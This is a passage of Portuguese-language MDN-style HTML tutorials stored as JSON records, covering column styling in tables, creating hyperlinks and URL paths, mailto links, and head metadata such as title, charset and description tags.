<td>Robots</td>\n    <td style=\"background-color: yellow\">Jazz</td>\n  </tr>\n</table>\n```\n\n\nQue exibe o seguinte resultado:\n\n| Data 1 | Data 2 |\n| --- | --- |\n| Calcutta | Orange |\n| Robots | Jazz |\n\nNão é o ideal, uma vez que temos de repetir os dados de estilo em todas as três células da coluna (provavelmente teríamos uma `class` configurada para as três células em um projeto de verdade e especificaríamos o estilo em uma folha de estilo separada). Em vez disso, podemos especificar a informação uma única vez, no elemento `<col>`. Os elementos `<col>` são especificados dentro de um contêiner `<colgroup>` abaixo da tag de abertura `<table>`. Podemos criar o mesmo efeito que vimos acima espeficando a tabela da seguinte maneira:\n\n\n```html\n<table>\n  <colgroup>\n    <col />\n    <col style=\"background-color: yellow\" />\n  </colgroup>\n  <tr>\n    <th>Data 1</th>\n    <th>Data 2</th>\n  </tr>\n  <tr>\n    <td>Calcutta</td>\n    <td>Orange</td>\n  </tr>\n  <tr>\n    <td>Robots</td>\n    <td>Jazz</td>\n  </tr>\n</table>\n```\n\n\nDe modo efetivo, estamos definindo duas \"colunas de estilo\", cada uma espeficando a informação de estilo para cada coluna. Não estamos estilizando a primeira coluna, mas ainda assim temos de incluir um elemento `<col>` vazio - do contrário, o estilo simplesmente seria aplicado para a primeira coluna.\n\nPara aplicar as informações de estilo para as duas colunas, podemos incluir apenas um elemento `<col>` contendo um atributo span, dessa maneira:\n\n\n```html\n<colgroup>\n  <col style=\"background-color: yellow\" span=\"2\" />\n</colgroup>\n```\n\n\nComo `colspan` e `rowspan`, `span` aceita um valor de número sem unidade que especifica o número de colunas sobre as quais desejamos aplicar o estilo.\n\n### Aprendizado ativo: colgroup e col\n\nAgora é hora de tentar sozinho.\n\nAbaixo encontram-se os horários de uma professora de línguas. Na sexta-feira ela tem uma nova aula ensinando holandês o dia todo, mas ela também ensina alemão alguns poucos períodos das terças-feiras e quintas-feiras. Ela quer destacar as colunas contendo os dias que têm aula.\n\nRecrie a tabela seguindo os passos abaixo.\n\n1. Primeiro, faça uma cópia local do arquivo timetable.html dentro de um novo diretório na sua máquina local. O HTML contém a mesma tabela que viu acima, porém sem os dados de estilo.\n2. Acrescente um elemento `<colgroup>` na parte superior da tabela, bem abaixo da tag `<table>`, dentro da qual você pode adicionar os elementos `<col>` (veja os passos que faltam abaixo).\n3. As duas primeiras colunas devem ser deixadas sem nenhum estilo.\n4. Adicione uma cor de fundo para a terceira coluna. O valor do atributo `style` é `background-color:#97DB9A;`\n5. Ajuste uma largura diferente para a quarta coluna. O valor do atributo `style` é `width: 42px;`\n6. Adicione uma cor de fundo para a quinta coluna. O valor do atributo `style` é `background-color: #97DB9A;`\n7. Adicione uma cor de fundo diferente e uma borda para a sexta coluna, para indicar que este é um dia especial e ela está dando uma nova aula. Os valores dos atributos `style` são `background-color:#DCC48E; border:4px solid #C1437A;`\n8. Os dois últimos dias são dias livres, então apenas ajuste para nenhuma cor de fundo, mas defina uma largura; o valor do atributo `style` é `width: 42px;`\n\nVeja se consegue seguir o exemplo. Se você tiver dúvidas ou quiser verificar seu trabalho, pode encontrar nossa versão no GitHub como schedule-fixed.html ( veja ao vivo também ).\n\nResumo\n------\n\nIsso envolve o básico das tabelas HTML. No próximo artigo, veremos alguns recursos de mesa um pouco mais avançados e começaremos a pensar como eles são acessíveis para pessoas com deficiência visual.\n\n* Menu: Tabelas\n* Próxima\nNeste módulo\n------------\n\n* Noções básicas de tabela HTML\n* Recursos avançados e acessibilidade da tabela HTML (en-US)\n* Estruturação de dados do planeta (en-US)"}
{"title":"Criando hyperlinks - Aprendendo desenvolvimento web","text":"Criando hyperlinks\n==================\n\n* Anterior\n* Menu: Introduction to HTML\n* Próxima\n\nOs hiperlinks são realmente importantes — são o que torna a Web uma *web*. Este artigo mostra a sintaxe necessária para criar um link e discute as suas melhores práticas.\n\n|  |  |\n| --- | --- |\n| Pre-requisitos: | \n Familiaridade básica em HTML, conforme\n Começando com o HTML. Formatação de texto em HTML, conforme\n Fundamentos do texto em HTML.\n  |\n| Objetivo: | \n Para aprender a implementar um hiperlink efetivamente e vincular vários\n arquivos juntos.\n  |\n\nO que é um hiperlink?\n---------------------\n\nOs hiperlinks são uma das inovações mais interessantes que a Web oferece. Bem, eles são uma característica da Web desde o início, mas são o que torna a Web como ela é — eles nos permitem vincular nossos documentos a qualquer outro documento (ou outro recurso) que queremos. Também podemos vincular para partes específicas de documentos e podemos disponibilizar aplicativos em um endereço web simples (em contraste com aplicativos nativos, que devem ser instalados e tantas outras coisas). Qualquer conteúdo da web pode ser convertido em um link, para que, quando clicado (ou ativado de outra forma) fará com que o navegador vá para outro endereço (URL).\n\n**Nota:** Um URL pode apontar para arquivos HTML, arquivos de texto, imagens, documentos de texto, arquivos de vídeo e áudio e qualquer outra coisa que possa estar na Web. Se o navegador não souber exibir ou manipular o arquivo, ele perguntará se você deseja abrir o arquivo (nesse caso, o dever de abrir ou manipular o arquivo é passado para um aplicativo nativo adequado no dispositivo) ou fazer o download dele (nesse caso, você pode tentar lidar com isso mais tarde).\n\nA página inicial da BBC, por exemplo, contém um grande número de links que apontam não apenas para várias notícias, mas também diferentes áreas do site (funcionalidade de navegação), páginas de login/registro (ferramentas do usuário) e muito mais.\n\n![frontpage of bbc.co.uk, showing many news items, and navigation menu functionality](/pt-BR/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks/bbc-homepage.png)\n\nAnatomia de um link\n-------------------\n\nUm link básico é criado envolvendo o texto (ou outro conteúdo, veja Block level links) que você quer transformar em um link dentro de um elemento `<a>`, e dando-lhe um atributo `href`, (também conhecido como **Hypertext Reference**, ou **target**) que conterá o endereço da Web para o qual você deseja que o link aponte.\n\n\n```html\n<p>\n  Estou criando um link para\n  <a href=\"https://www.mozilla.org/pt-BR/\">a página inicial da Mozilla</a>.\n</p>\n```\n\n\nIsso nos dá o seguinte resultado:\n\nEstou criando um link para a página inicial da Mozilla.\n\n### Adicionando informações de suporte com o atributo *title*\n\nOutro atributo que você pode querer adicionar aos seus links é o `title`; pretende-se que ele contenha informações úteis adicionais sobre o link, como, que tipo de informação a página contém ou informações importantes. Por exemplo:\n\n\n```html\n<p>\n  Estou criando um link para\n  <a\n href=\"https://www.mozilla.org/pt-BR/\"\n title=\"O melhor lugar para encontrar mais informações sobre a missão da Mozilla e como contribuir\">\n    a página inicial da Mozilla</a\n >.\n</p>\n```\n\n\nIsto nos dá o seguinte resultado (o título aparecerá como uma dica de ferramenta quando o link estiver suspenso):\n\nEstou criando um link para a página inicial da Mozilla.\n\n**Nota:** Um título de link só é revelado ao passar o mouse sobre ele, o que significa que as pessoas que dependem do teclado ou *touchscreen* para navegar em páginas web terão dificuldade em acessar a informação do título. Se a informação de um título é realmente importante para a usabilidade da página, então você deve apresentá-la de uma maneira que será acessível a todos os usuários, por exemplo, colocando-o no texto normal.\n\nAprendizagem na prática: criando seu próprio link de exemplo\n\nMomento da aprendizagem na prática: gostaríamos que você criasse um documento HTML usando seu editor de código local (nosso modelo inicial seria interessante.)\n\n* Dentro do corpo do HTML, tente adicionar um ou mais parágrafos ou outros tipos de conteúdo que você já conhece.\n* Transforme alguns dos conteúdos em links.\n* Inclua atributos de título.\n### Links de nível de bloco\n\nComo falamos anteriormente, você pode transformar qualquer conteúdo em um link, mesmo elementos de nível de bloco. Se você tiver uma imagem que queira transformar em um link, você pode simplesmente colocar a imagem entre as tags `<a></a>`.\n\n\n```html\n<a href=\"https://www.mozilla.org/pt-BR/\">\n  <img\n src=\"mozilla-image.png\"\n alt=\"Logotipo mozilla que liga a página inicial do mozilla\" />\n</a>\n```\n\n\n**Nota:** Você descobrirá muito mais sobre o uso de imagens na Web em artigo posterior.\n\nUm guia rápido sobre URLs e caminhos\n------------------------------------\n\nPara entender completamente os destinos de links, você precisa entender URLs e caminhos de arquivos. Esta seção fornece as informações que você precisa para conseguir isso.\n\nUm URL ou *Uniform Resource Locator* é simplesmente uma sequência de texto que define onde algo está localizado na Web. Por exemplo, a página inicial em inglês da Mozilla está localizada em `https://www.mozilla.org/en-US/`.\n\nOs URLs usam caminhos para encontrar arquivos. Os caminhos especificam onde, no explorador de arquivos, o recurso que você está interessado está localizado. Vejamos um exemplo simples de uma estrutura de diretório (veja o diretório de criação de hiperlinks).\n\n![A simple directory structure. The parent directory is called creating-hyperlinks and contains two files called index.html and contacts.html, and two directories called projects and pdfs, which contain an index.html and a project-brief.pdf file, respectively](/pt-BR/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks/simple-directory.png)\n\nA raiz dessa estrutura de diretório é chamada de `criação de hiperlinks`. Ao trabalhar localmente com um site, você terá um diretório no qual ele todo esta dentro. Incluído na raiz, temos um arquivo `index.html` e um arquivo `contacts.html`. Em um site real, `index.html` seria nossa página inicial ou página de entrada (uma página da web que serve como ponto de entrada para um site ou uma seção específica de um site).\n\nExistem também dois diretórios dentro da nossa raiz — `pdfs` e `projects`. Cada um deles contém um único arquivo — um PDF (`projetos-brief.pdf`) e um arquivo `index.html`, respectivamente. Observe como é possível, felizmente, ter dois arquivos `index.html` em um projeto, desde que estejam em locais diferentes no sistema de arquivos. Muitos sites fazem isso. O segundo `index.html` poderia ser a página de destino principal para informações relacionadas ao projeto.\n\n* **Mesmo diretório:** se você deseja incluir um hiperlink dentro de `index.html` (o `index.html` de nível superior) apontando para `contacts.html`, basta especificar o nome do arquivo ao qual deseja vincular, já que está no mesmo diretório que o arquivo atual. Portanto, o URL que você usaria seria `contacts.html`:\n\n```html\n<p>\n  Deseja entrar em contato com um membro da equipe específica? Encontre\n  detalhes sobre nossos serviços em nossa\n  <a href=\"contato.html\">página de contatos</a>.\n</p>\n```\n\n* **Movendo-se para baixo em subdiretórios:** se você quisesse incluir um hiperlink dentro do `index.html` apontando para o `projeto/index.html`, você precisaria descer no diretório de projetos antes de indicar o arquivo que deseja vincular. Isso é feito especificando o nome do diretório, depois uma barra inclinada e, em seguida, o nome do arquivo. Então o URL que você usaria seria `projeto/index.html`:\n\n```html\n<p>\n  Visite minha <a href=\"projects/index.html\">pagina inicial do projeto</a>.\n</p>\n```\n\n* **Movendo-se de volta para os diretórios pai:** se você quisesse incluir uma hiperlink dentro de `projeto/index.html` apontando para pdfs/`projetos-brief.pdf`, você precisaria subir um nível de diretório e voltar para o diretório `pdf`. \"Subir um diretório\" é indicado usando dois pontos — `..` — então a URL que você usaria seria `../pdfs/project-brief.pdf`\n\n```html\n<p>\n  Um link para o meu\n  <a href=\"../pdfs/project-brief.pdf\"> breve de projeto</a>.\n</p>\n```\n\n\n**Nota:** Você pode combinar várias instâncias desses recursos em URLs complexas, se necessário, por exemplo`../../../complex/path/to/my/file.html`.\n\n### Fragmentos de documento\n\nÉ possível vincular a uma parte específica de um documento HTML (conhecido como um **fragmento de documento**) e não apenas ao topo do documento. Para fazer isso, primeiro você deve atribuir um atributo \"id\" ao elemento ao qual deseja vincular. Normalmente faz sentido vincular a um título específico, então ficaria algo do tipo:\n\n\n```html\n<h2 id=\"Mailing\\_address\">Endereço de correspondência</h2>\n```\n\n\nEm seguida, para vincular a esse `id` específico, você o incluirá no final do URL, precedido por um símbolo de hashtag/cerquilha, por exemplo:\n\n\n```html\n<p>\n  Quer escrever uma carta? Use nosso<a href=\"contacts.html#Mailing\\_address\"\n >endereço de correspondência</a\n >.\n</p>\n```\n\n\nVocê pode até usar apenas referência de fragmento do documento por si só para vincular a outra parte do mesmo documento:\n\n\n```html\n<p>\n  O <a href=\"#Mailing\\_address\">endereço postal da empresa</a> pode ser\n  encontrado na parte inferior desta página.\n</p>\n```\n\n### URLs absolutos versus relativos\n\nDois termos que você encontrará na Web são URL **absoluto** e URL **relativo**:\n\n**URL absoluto:** aponta para um local definido por sua localização absoluta na web, incluindo \"protocolo\" e \"nome de domínio\". Então, por exemplo, se uma página `index.html` for carregada para um diretório chamado `projeto` que fica dentro da raiz de um servidor web, e o domínio do site é `http://www.exemplo.com`, a página estará disponível em `http://www.exemplo.com/projeto/index.html` (ou mesmo apenas `http://www.exemplo.com/projeto/`, pois a maioria dos servidores web apenas procura uma página de destino como index.html para carregar, se não está especificado no URL.)\n\nUm URL absoluto sempre aponta para o mesmo local, não importa onde seja usado.\n\n**URL relativa:** aponta para um local *relativo* ao arquivo do qual você está vinculando, mais como o que vimos na seção anterior. Por exemplo, se desejássemos vincular nosso arquivo de exemplo em `http://www.exemplo.com/projeto/index.html` para um arquivo PDF no mesmo diretório, o URL seria apenas o nome do arquivo — por exemplo, `project-brief.pdf` — nenhuma informação extra é necessária. Se o PDF estava disponível em um subdiretório dentro de `projects` chamado `pdfs`, o link relativo seria `pdfs/projeto-brief.pdf` (o URL absoluto equivalente seria `http://www.example.com/projects/pdfs/project-brief.pdf`).\n\nUm URL relativo apontará para lugares diferentes, dependendo da localização real do arquivo ao qual você se refere — por exemplo, se tivermos movido nosso arquivo `index.html` para fora do diretório de projetos e para a raiz do site (no nível superior, não em qualquer diretório), o link relativo à URL referente a `pdfs/project-brief.pdf` agora apontaria para um arquivo localizado em `http://www.example.com/pdfs/project-brief.pdf`, não para um arquivo localizado em `http://www.example.com/projects/pdfs/project-brief.pdf`.\n\nPráticas recomendadas\n---------------------\n\nExistem algumas práticas recomendadas a seguir, ao escrever links. Vejamos.\n\n### Use palavras-chave claras\n\nÉ muito fácil jogar links na sua página, porém somente isto não é suficiente. Precisamos tornar nossos links *acessíveis* a todos os leitores, independentemente do contexto atual e de quais ferramentas eles prefiram. Por exemplo:\n\n* Os usuários de leitores de telas gostam pular de link a outro link na página e ler links fora do contexto.\n* Os motores de busca usam o texto do link para indexar arquivos de destino, por isso é uma boa idéia incluir palavras-chave no texto do link para descrever efetivamente o que está sendo vinculado.\n* Os usuários normalmente deslizam sobre a página em vez de ler cada palavra, e são atraídos para recursos de página que se destacam, como links. Eles acharão os textos descritivos de links úteis.\n\nVejamos um exemplo específico:\n\n*Texto de link* **correto**: Baixe o Firefox\n\n\n```html\n<p><a href=\"https://firefox.com/\"> Baixe o Firefox </a></p>\n```\n\n\n*Texto de link* **incorreto**: clique aqui para baixar o Firefox\n\n\n```html\n<p><a href=\"https://firefox.com/\"> clique aqui </a> para baixar o Firefox</p>\n```\n\n\nOutras dicas:\n\n* Não repita o URL como parte do texto do link — Os URLs parecem feios e até são mais feios quando um leitor de tela os lê letra por letra.\n* Não diga \"link\" ou \"links para\" no texto do link — é apenas ruído. Os leitores de tela já dizem às pessoas que existe um link. Os usuários visuais também sabem que existe um link, porque eles geralmente são de cor diferente e sublinhados (esta convenção geralmente não deve ser quebrada, pois os usuários estão muito acostumados a isso).\n* Mantenha seu rótulo de link o mais curto possível — links longos irritam especialmente os usuários de leitores de tela, que têm que ouvir o texto inteiro lido.\n* Minimize instâncias em que o mesmo texto esteja ligado a diferentes lugares. Isso pode causar problemas para os usuários do leitor de tela, que muitas vezes mostrará uma lista dos links fora do contexto — vários links todos rotulados como \"clique aqui\", \"clique aqui\", \"clique aqui\"... seria confuso.\n### Use links relativos sempre que possível\n\nA partir da descrição acima, você pode pensar que é uma boa idéia usar apenas links absolutos o tempo todo; Afinal, eles não quebram quando uma página é movida como pode ocorrer com *links relativos*. No entanto, você deve usar *links relativos* sempre que possível ao vincular a outros locais dentro do mesmo site (ao vincular a outro site, você precisará usar um link absoluto):\n\n* Para começar, é muito mais fácil verificar seu código — os URL relativos geralmente são muito mais curtos que os URLs absolutos, o que torna o código de leitura muito mais fácil.\n* Em segundo lugar, é mais eficiente usar URLs relativas sempre que possível. Quando você usa um URL absoluto, o navegador começa procurando a localização real do servidor no Servidor de Nomes de Domínio \"DNS\"; veja Como a web funciona para obter mais informações), então ele vai para esse servidor e encontra o arquivo que está sendo solicitado. Por outro lado, com um URL relativo, o navegador apenas procura o arquivo que está sendo solicitado, no mesmo servidor. Então, se você usa URLs absolutos para fazer o que os URLs relativos fariam, você está constantemente fazendo o seu navegador realizar trabalho extra, o que significa que ele irá executar de forma menos eficiente.\n### Vinculando-se a recursos que não sejam HTML — deixe indicadores claros\n\nAo vincular a um arquivo que será baixado (como um documento PDF ou Word) ou transmitido (como vídeo ou áudio) ou ainda tiver outro efeito potencialmente inesperado (abrir uma janela pop-up ou carregar um filme Flash), você deve adicionar uma redação clara para reduzir qualquer confusão. Pode ser bastante irritante, por exemplo:\n\n* Se você estiver em uma conexão de baixa banda larga, clicar em um link e, em seguida, um download de muitos megabytes começa inesperadamente.\n* Se você não tiver instalado o Flash Player, clicar em um link e, de repente, ser levado para uma página que requer Flash Player.\n\nVejamos alguns exemplos, para ver que tipo de texto pode ser usado aqui:\n\n\n```html\n<p>\n  <a href=\"http://www.example.com/large-report.pdf\">\n    Baixe o relatório de vendas (PDF, 10MB)\n  </a>\n</p>\n\n<p>\n  <a href=\"http://www.example.com/video-stream/\">\n    Assista ao vídeo (o fluxo abre em separado, qualidade HD)\n  </a>\n</p>\n\n<p>\n  <a href=\"http://www.example.com/car-game\">\n    Jogue o jogo de carro (requer Flash Player)\n  </a>\n</p>\n```\n\n### Use o atributo de download ao vincular a um download\n\nQuando você está apontando para um arquivo que deve ser baixado em vez de ser aberto no navegador, poderá usar o atributo de download para fornecer um nome de arquivo salvo padrão. Aqui está um exemplo, com um link de `baixar` para a versão do Windows 39 do Firefox:\n\n\n```html\n<a\n href=\"https://download.mozilla.org/?product=firefox-39.0-SSL&os=win&lang=en-US\"\n download=\"firefox-39-installer.exe\">\n  Faça o download do Firefox 39 para Windows\n</a>\n```\n\nAprendizagem ativa: criando um menu de navegação\n------------------------------------------------\n\nPara este exercício, gostaríamos que você vinculasse algumas páginas a um menu de navegação para criar um *site* com várias páginas. Essa é uma maneira comum de criá-los — a mesma estrutura de página é usada em todas elas, incluindo o mesmo menu de navegação. Portanto, quando os *links* são clicados, dá a impressão de que você permanece no mesmo lugar e que um conteúdo diferente está sendo criado.\n\nVocê precisará fazer cópias locais das quatro páginas a seguir, tudo no mesmo diretório (veja também o diretório de início do menu de navegação para uma lista completa de arquivos):\n\n* index.html\n* projects.html\n* pictures.html\n* social.html\n\nVocê deve:\n\n1. Adicionar uma lista não ordenada no local indicado em uma página, contendo os nomes das páginas a serem vinculadas. Um menu de navegação geralmente é apenas uma lista de *links*, então está semanticamente correto.\n2. Transformar o nome de cada página em um *link* para essa página.\n3. Copiar o menu de navegação para cada uma.\n4. Em cada página, remova apenas o *link* para a mesma página - é confuso e inútil que uma página inclua um link para si mesma, e a falta de um *link* é um bom lembrete visual de qual página você está atualmente.\n\nO exemplo final acabaria por parecer algo assim:\n\n![An example of a simple HTML navigation menu, with home, pictures, projects, and social menu items](/pt-BR/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks/navigation-example.png)\n\n**Nota:** Se você ficar preso, ou não tem certeza se o fez bem, você pode verificar o diretório de navegação-menu-marcado para ver a resposta correta.\n\nLinks de e-mail\n---------------\n\nÉ possível criar *links* ou botões que, quando clicados, abrem uma nova mensagem de e-mail de saída em vez de vincular a um recurso ou página. Isso é feito usando o elemento `<a>` e o `mailto:` estrutura de URL.\n\nNa sua forma mais comum, um `mailto:` simplesmente indica o endereço de e-mail do destinatário pretendido. Por exemplo:\n\n\n```html\n<a href=\"mailto:nowhere@mozilla.org\">Enviar email para nenhum lugar</a>\n```\n\n\nIsso resulta em um *link* que se parece com isto: Enviar e-mail para lugar nenhum.\n\nNa verdade, o endereço de e-mail é opcional. Se você deixar de fora (ou seja, seu `href` for simplesmente \"mailto:\"), uma nova janela de e-mail de saída será aberta pelo aplicativo de e-mail do usuário sem um destinatário. Isso geralmente é útil como \"Compartilhar\" *links* que os usuários podem clicar para enviar um e-mail para um endereço escolhido.\n\n### Especificando detalhes\n\nAlém do endereço de e-mail, você pode fornecer outras informações. Na verdade, qualquer campo de cabeçalho de correio padrão pode ser adicionado ao URL do `mailto:` que você fornece. Os mais utilizados são \"assunto\", \"cc\" e \"corpo\" (que não é um campo de cabeçalho verdadeiro, mas permite que você especifique uma mensagem de conteúdo curta para o novo e-mail). Cada campo e seu valor são especificados como um termo de consulta.\n\nAqui está um exemplo que inclui um cc, bcc, assunto e corpo de texto:\n\n\n```html\n<a\n href=\"mailto:nowhere@mozilla.org?cc=name2@rapidtables.com&bcc=name3@rapidtables.com&subject=The%20subject%20of%20the%20email&body=The%20body%20of%20the%20email\">\n  Aqui está um exemplo, incluindo um cc, bcc, assunto e corpo:\n</a>\n```\n\n\n**Nota:** Os valores de cada campo devem ser codificados por URL, ou seja, com caracteres não imprimíveis (caracteres invisíveis, como guias, carriage returns e quebras de página) e espaços com percent-escaped. Observe também o uso do ponto de interrogação (`?`) Para separar o URL principal dos valores do campo e do *e* comercial (&) para separar cada campo no `mailto:` URL. Essa é a notação de consulta padrão do URL. Leia O método GET (en-US) para entender para que esta notação de consulta é mais comum.\n\nAqui estão alguns outros exemplos de URLs de `mailto:`\n\n* mailto:\n* mailto:nowhere@mozilla.org\n* mailto:nowhere@mozilla.org,nobody@mozilla.org\n* mailto:nowhere@mozilla.org?cc=nobody@mozilla.org\n* mailto:nowhere@mozilla.org?cc=nobody@mozilla.org&subject=This%20is%20the%20subject\nResumo\n------\n\nPor enquanto isto é tudo sobre links! Você retornará aos links mais tarde no curso quando começar a analisar o estilo deles. Em seguida, em HTML, retornaremos à semântica de texto e veremos alguns recursos mais avançados/incomuns que você achará úteis — No próximo artigo você verá a formatação avançada de texto.\n\n* Anterior\n* Menu: Introduction to HTML\n* Próxima"}
{"title":"O que está no cabeçalho? Metadados em HTML - Aprendendo desenvolvimento web","text":"O que está no cabeçalho? Metadados em HTML\n==========================================\n\n* Anterior\n* Menu: Introduction to HTML\n* Próxima\n\nO head (en-US) de um documento HTML é a parte que não é exibida no navegador da Web quando a página é carregada. Ele contém informações como title , links para `<css>` (se você deseja modelar seu conteúdo HTML com CSS), links para favicons personalizados e outros metadados (dados sobre o HTML, como quem o escreveu, e palavras-chave importantes que descrevem o documento.) Neste artigo, abordaremos todas as coisas acima e mais. Dando-lhe uma boa base para lidar com marcação.\n\n|  |  |  |\n| --- | --- | --- |\n| Pré-requisitos: | \n\n|  |\n| --- |\n| \n Familiaridade básica em HTML, tal como\n Iniciando com HTML. |\n\n |\n| Objetivo: | \n Aprender sobre o cabeçalho HTML, seu propósito, os itens mais\n importantes que ele pode conter e que efeito isso pode ter no documento\n HTML.\n  |\n\nO que há no cabeçalho HTML?\n---------------------------\n\nVamos rever o simples Documento HTML que abordamos no artigo anterior:\n\n\n```html\n<!doctype html>\n<html>\n  <head>\n    <meta charset=\"utf-8\" />\n    <title>Minha página de teste</title>\n  </head>\n  <body>\n    <p>Essa é minha página</p>\n  </body>\n</html>\n```\n\n\nO cabeçalho HTML é o conteúdo do elemento `<head>` — ao contrário do conteúdo do elemento `<body>` (que são exibidos na página quando carregados no navegador), o conteúdo do cabeçalho não é exibido na página, em vez disso, o trabalho do cabeçalho é conter metadados sobre o documento. No exemplo seguinte, o cabeçalho é bem simples:\n\n\n```html\n<head>\n  <meta charset=\"utf-8\" />\n  <title>Minha página de teste</title>\n</head>\n```\n\n\nEm páginas maiores, o cabeçalho pode ter mais conteúdo. Tente acessar um dos seus sites favoritos e use as ferramentas de desenvolvimento para verificar o conteúdo do cabeçalho. Nosso objetivo aqui não é mostrar a você como usar tudo o que é possível pôr no cabeçalho, mas te ensinar a usar as coisas mais obvias que você vai querer incluir no cabeçalho, e lhe dar alguma familiaridade. Vamos começar.\n\nAdicionando um título\n---------------------\n\nNós já vimos o elemento `<title>` em ação — ele pode ser usado para adicionar um título ao documento, mas pode ser confundido com o elemento `<h1>` (en-US), que é usado para adicionar um título de nível superior ao conteúdo do body — as vezes também é associado como o título da página. Mas são coisas diferentes!\n\n* O elemento `<h1>` (en-US) aparece na página quando é carregado no navegador — geralmente isso deve ser usado uma vez por página, para marcar o título do conteúdo da sua página, (o título da história, ou da notícia, ou o que quer que seja apropriado para o uso).\n* O elemento `<title>` é um metadado que representa o título de todo o document HTML (não o conteúdo do documento).\n### Aprendizado ativo: observando um exemplo simples\n\n1. Para começar esta aprendizagem ativa, gostaríamos que você fosse ao nosso depósito GitHub e baixasse uma cópia do nossa página title-example.html. Para fazer isso:\n    1. Copie e cole o código em um novo arquivo de texto no seu editor e salve-o com o nome de index.html em um lugar de fácil acesso.\n    2. Pressione o botão \"Raw\" na página do GitHub, que faz com que o código bruto apareça (possivelmente em uma nova guia do navegador). Em seguida, escolha o menu *Arquivo do navegador> Salvar página como ...* e escolha um local adequado para salvar o arquivo.\n2. Agora abra o arquivo no seu navegador. Você deve ver algo assim:\n\n ![A simple web page with the title set to 'title' element, and the 'h1' set to 'h1' element.](/pt-BR/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML/title-example.png)Agora deve ser completamente óbvio onde o conteúdo `<h1>` aparece e onde o conteúdo `<title>` aparece!\n3. Você também deve tentar abrir o código no seu editor, editar o conteúdo desses elementos e atualizar a página no seu navegador. divirta-se.\n\nO conteúdo do elemento `<title>` também é usado de outras maneiras. Por exemplo, se você tentar favoritar a página, (*Favoritos > Adicionar página aos favoritos* ou o ícone da estrela na barra de URL no Fireofx), você verá o conteúdo `<title>` preenchido como o nome sugerido do favorito.\n\n![A webpage being bookmarked in firefox; the bookmark name has been automatically filled in with the contents of the 'title' element ](/pt-BR/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML/bookmark-example.png)\n\nOs conteúdos `<title>` também são usados nos resultados de pesquisa, conforme você verá abaixo.\n\nMetadados: o elemento <meta>\n----------------------------\n\nMetadados é dado descreve dados, e HTML possui uma maneira \"oficial\" de adicionar metadados a um documento — o elemento `<meta>`. Claro, as outras coisas em que estamos falando neste artigo também podem ser pensadas como metadados. Existem muitos tipos diferentes de elementos `<meta>` que podem ser incluídos no <head> da sua página, mas não tentaremos explicar todos eles nesta fase, pois seria muito confuso. Em vez disso, explicaremos algumas coisas que você pode ver comumente, apenas para lhe dar uma idéia.\n\n### Especificando a codificação de caracteres do seu documento\n\nNo exemplo que vimos acima, esta linha foi incluída:\n\n\n```html\n<meta charset=\"utf-8\" />\n```\n\n\nEste elemento simplesmente especifica a codificação de caracteres do documento — o conjunto de caracteres que o documento está autorizado a usar. `utf-8` é um conjunto de caracteres universal que inclui praticamente qualquer caractere de qualquer linguagem humana. Isso significa que sua página web poderá lidar com a exibição de qualquer idioma; portanto, é uma boa idéia configurar isso em todas as páginas web que você cria! Por exemplo, sua página poderia lidar com o Inglês e Japonês muito bem:\n\n![a web page containing English and Japanese characters, with the character encoding set to universal, or utf-8. Both languages display fine,](/pt-BR/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML/correct-encoding.png)Se você definir sua codificação de caracteres para `ISO-8859-1`, por exemplo (o conjunto de caracteres para o alfabeto latino), a renderização de sua página ficaria toda bagunçada:\n\n![a web page containing English and Japanese characters, with the character encoding set to latin. The Japanese characters don't display correctly](/pt-BR/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML/bad-encoding.png)\n\n**Nota:** Alguns navegadores (como o Chrome) corrigem automaticamente as codificações incorretas, então, dependendo do navegador que você usar, você pode não ver esse problema. Ainda assim, você deve definir uma codificação do `utf-8` em sua página, para evitar problemas em outros navegadores.\n\n### Aprendizagem ativa: Experimento com a codificação de caracteres\n\nPara experimentar isso, revise o modelo HTML simples que você obteve na seção anterior em `<title>` (a página title-example.html), tente alterar o valor do meta charset para `ISO-8859-1` e adicione o Japonês à sua página . Este é o código que usamos:\n\n\n```html\n<p>Exemplo Japonês:ご飯が熱い</p>\n```\n\n### Adicionando um autor e descrição\n\nMuitos elementos `<meta>` incluem atributos de `name` e `content`:\n\n* O `name` especifica o tipo de elemento meta que é; que tipo de informação contém.\n* O `content` especifica o conteúdo real do meta.\n\nDois desses meta-elementos que são úteis para incluir na sua página definem o autor da página e fornecem uma descrição concisa da página. Vejamos um exemplo:\n\n\n```html\n<meta name=\"author\" content=\"Chris Mills\" />\n<meta\n name=\"description\"\n content=\"A Área de Aprendizagem do MDN tem como objetivo\nproporcionar iniciantes em Web com tudo o que eles precisam saber\npara começar a desenvolver sites e aplicativos.\" />\n```\n\n\nEspecificar um autor é útil de muitas maneiras: é útil para poder descobrir quem escreveu a página, se quiser enviar perguntas sobre o conteúdo que você gostaria de contacta-la. Alguns sistemas de gerenciamento de conteúdo possuem ferramentas para extrair automaticamente as informações do autor da página e disponibilizá-las para seus propósitos.\n\nEspecificar uma descrição que inclua palavras-chave relacionadas ao conteúdo da sua página é útil porque tem potencial para tornar sua página mais alta nas pesquisas relevantes realizadas nos mecanismos de busca (tais atividades são denominadas Search Engine Optimization ou SEO.\n\n### Aprendizagem ativa: Uso da descrição nos motores de busca\n\nA descrição também é usada nas páginas de resultados do mecanismo de pesquisa. Vamos passar por um exercício para explorar isso\n\n1. Vá para a página inicial da Mozilla Developer Network.\n2. Veja a fonte da página (botão direito do mouse/\n `Ctrl`\n + clique na página, escolha *Ver código-fonte da página* no menu de contexto).\n3. Encontre a meta tag de descrição. Isso parecerá assim:\n\n```html\n<meta\n name=\"description\"\n content=\"A Mozilla Developer Network (MDN) fornece\ninformações sobre tecnologias Open Web, incluindo HTML, CSS e API para ambos\nSites e aplicativos HTML5. Ele também documenta produtos Mozilla, como o sistema operacional Firefox.\" />\n```\n\n4. Agora, procure por \"Mozilla Developer Network\" no seu motor de busca favorito (Utilizamos o Yahoo.) Você notará a descrição `<meta>` e `<title>` elemento usado no resultado da pesquisa — definitivamente vale a pena ter!\n\n ![A Yahoo search result for \"Mozilla Developer Network\"](/pt-BR/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML/search-result.png)\n\n**Nota:** No Google, você verá algumas subpáginas relevantes do MDN listadas abaixo do principal link da página inicial do MDN — estes 